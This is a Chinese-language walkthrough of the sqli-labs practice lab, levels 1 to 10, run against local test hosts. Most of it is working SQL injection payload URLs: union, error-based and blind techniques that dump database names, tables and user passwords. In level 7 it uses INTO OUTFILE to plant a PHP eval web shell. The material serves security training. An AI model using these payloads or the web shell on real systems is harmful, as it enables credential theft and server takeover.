第一关
根据提示,第一关是get单引号
第一步,看看页面有没有报错
http://192.168.26.132:86/Less-1/?id=1’ and 1=2–+ 页面直接异常
猜测字段 :http://192.168.26.132:86/Less-1/?id=-1’ order by 3–+
回显位 :http://192.168.26.132:86/Less-1/?id=-1’ union select 1,2,3–+
当前用户和数据库 :http://192.168.26.132:86/Less-1/?id=-1’ union select 1,database(),user()–+
获取当前所有库名
http://192.168.26.132:86/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata–+
查询当前数据库所有表,当前用户是root权限,有权利访问其他的表
http://192.168.26.132:86/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+
获取当前数据库的列名
http://192.168.26.132:86/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’–+
发现了username和password两个列名
http://192.168.26.132:86/Less-1/?id=-1’ union select 1,group_concat(username,password),3 from users–+
第二关
有报错,网页有回显
判断字段数 http://192.168.26.132:86/Less-2/?id=-1 union select 1,2,3–+
后续的操作基本和第一关一样
第三关
扭曲字符串就是括号的意思。
我们观察网页源代码发现是用单引号和括号进行闭合的
我们先试一个单引号。http://192.168.26.132:86/Less-3/?id=’
看到报错,他有括号和单引号
http://192.168.26.132:86/Less-3/?id=1’)–+
爆出字段: http://192.168.26.132:86/Less-3/?id=-1’) union select 1,2,3–+
第四关
输入一个双引号,发现有双引号和括号闭合
输入双引号和括号,没有报错
判断回显位
第五关
我们先看源代码,发现没有返回任何值。
这应该是盲注
加上一个单引号报错
但是我不管输入啥,他只有两种状态,页面正常,和页面不正常
此时我们应该采用盲注。
获取当前数据库
http://192.168.26.132:86/Less-5/?id=1’ or updatexml(1,concat(0x7e,(database())),0) or’ --+
获取当前版本:http://192.168.26.132:86/Less-5/?id=1’ or updatexml(1,concat(0x7e,(version())),0) or’
为啥要获取获取数据库版本呢,因为有一些语法只能在特定的数据库使用,而且还可以去网上搜一下当前数据库有没啥漏洞。
获取一下当前数据库所有表
http://192.168.26.132:86/Less-5/?id=1’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)),0) or ’
获取当前users表中的所有列
?id=1’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name = ‘users’ )),0) or ’
获取字段
http://192.168.26.132:86/Less-5/?id=1’ or updatexml(1,concat(0x7e,(select group_concat(username,password) from users )),0) or ’
获取username password 的值
因为updatexml 对长度做了限制,导致里面字段显示不全,所以用limit
http://192.168.26.132:86/Less-5/?id=1’ or updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password) from users limit 0,1)),0) or ’
但是这样显示的话太麻烦了,我们可以用burp进行批量。首先查看一下多少个字段
http://192.168.26.132:86/Less-5/?id=1’ or updatexml(1,concat(‘~’,(select count((username)) from users ),‘~’),0) or ’
Burp Suite
选择狙击枪(sniper)选择变量
第六关
第六关和第五关一样,第六关是双引号闭合。
http://192.168.26.132:86/Less-6/?id=1" or updatexml(1,concat(0x7e,(database())),0) or"–+
第七关
SELECT…INTO OUTFILE ‘file_name’ 可以把你想要写入的数据写入到一个文件中,但是你必须要有file权限,才能使用此语法,并且file_name 不能是一个已经存在的文件
但是,在使用该函数前需要查看当前数据库有没开放读写权限,在mysql交互式界面输入show variables like ‘%secure%’; 如果 secure_file_priv为空(NULL)的话就是没有读写权限我这里就是为NULL 这时候需要打开mysq的安装目录中的my.ini文件 在 [mysqld] 中加上一条 secure_file_priv=“/” 重启mysql服务,在去查询 现在为C:\这就代表可以读取或写入C盘中的所有文件
根据页面提示,应该是文件写入函数,
通过测试我发现闭合是采用 ‘)) 因为后面有一个limit 需要把它注释掉。不注释的话会报出语法错误。
页面异常,有注入,说明带入数据库查询了
http://192.168.26.132:86/Less-7/?id=1’)) and 1=2–+
判断字段数,3正常 4不正常,字段数应该就三位
http://192.168.26.132:86/Less-7/?id=1’)) union select 1,2,3,4 --+
文件写入,但是页面会报错,但是不用管。我这里已经写入了一句话木马
http://192.168.26.132:86/Less-7/?id=-1’)) union select 1,2,
“<?php @eval($_POST['shell']);?>” into outfile’C:\inetpub\target\sqlilabs\7.php’–+
通过蚁剑去连接
第八关
这一关卡是一个布尔盲注,页面有变化,但是没有回显,没有报错,只有两个页面,正常和不正常。
http://127.0.0.1:8888/Less-8/?id=1 这个就是正常
http://127.0.0.1:8888/Less-8/?id=-1 不正常
http://127.0.0.1:8888/Less-8/?id=1’ and 1=1 --+ 单引号闭合
查询当前数据库的长度
http://127.0.0.1:8888/Less-8/?id=1’ and length(database())=8–+
查询当前数据库的第一个字段名
http://127.0.0.1:8888/Less-8/?id=1’ and ascii(substr(database(),1,1))=115–+
第二个
http://127.0.0.1:8888/Less-8/?id=1’ and ascii(substr(database(),2,1))=101–+
。。。。。。。。
查询表的数量
http://127.0.0.1:8888/Less-8/?id=1’ and (select count(table_name) from information_schema.tables where table_schema=database())=4–+
查第一个表的长度
http://127.0.0.1:8888/Less-8/?id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6–+
查询查询第一个表的表名,第一个字符
http://127.0.0.1:8888/Less-8/?id=1’ and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=101–+
第九关
这一关不管你怎么输入,页面没有变化
判断注入的类型
http://127.0.0.1:8888/Less-9/?id=1’ and sleep(5) --+
无回显,无报错日志 ,但是和数据库有交互 ,可以判断是时间盲注。
查询数据库的的长度
http://127.0.0.1:8888/Less-9/?id=1’ and if((length(database())=8),sleep(3),1)–+
查询库的第一个字段
http://127.0.0.1:8888/Less-9/?id=1’ and if((ascii(substr(database(),1,1))=115),sleep(3),1)–+
查询表的数量
http://127.0.0.1:8888/Less-9/?id=1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1)%23
查第一个表的表名的长度
http://127.0.0.1:8888/Less-9/?id=1’ and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,sleep(3),1)%23
查询第一个表的第一个字段
http://127.0.0.1:8888/Less-9/?id=1’ and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=101,sleep(3),1)%23
第十关
根据提示,就是基于双引号的时间盲注,跟第九关差不多
http://127.0.0.1:8888/Less-10/?id=1" and sleep(5) --+